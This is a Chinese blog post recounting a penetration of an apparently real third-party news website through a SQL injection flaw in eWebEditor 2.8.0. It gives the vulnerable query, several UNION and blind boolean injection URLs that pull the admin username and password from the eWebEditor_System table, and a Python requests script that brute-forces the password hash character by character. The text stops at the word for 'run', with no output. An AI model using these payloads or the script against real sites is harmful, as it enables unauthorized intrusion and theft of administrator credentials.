某网站（JSP + Access）渗透实例 ( eWebEditor 漏洞）「建议收藏」

大家好，又见面了，我是你们的朋友全栈君。

某网站后台是用的蓝滨新闻系统精简加强版即如图：

可见，后台是JSP + Access，虽然这个新闻系统标题写了是安全性加强版本，但是对于这种系统我还是很感兴趣的。

根据这个系统的源代码，找这个系统的漏洞。

manage/htmledit/eWebEditor.asp

	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0,

可以看到，这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版

如果是纯粹的eWebEditor ，那么到这里直接上工具就行了。但是这里是魔改过的，所以，传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access，激活成功教程就好麻烦啦。。

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System''

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)  union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union 
select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)



## 猜解出密码和用户名长度：16 根据程序可见，是纯MD5加密
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
true ;

## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

到这里，就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。

写个针对性Python进行注入穷举：

kn.py

#encoding:UTF-8
import requests
##定义 n：找ASCII码
n = 48
charNum = 1
allAscII = ""
while charNum<=16:
    while 1:
        url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System"
        r = requests.get(url)
        print("访问成功，正在访问第"+ str(charNum)+"个位置的码，尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text)))
        if len(r.text) > 400:
            print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码！为" + str(n))
            allAscII = allAscII + str(n) + ","
            break;
        n = n + 1
    charNum = charNum + 1
    n = 48
print(allAscII)
## 失败 长度少于400 （=317）
## 成功 长度大于400  (=12370)
## print(len(r.text))

运行：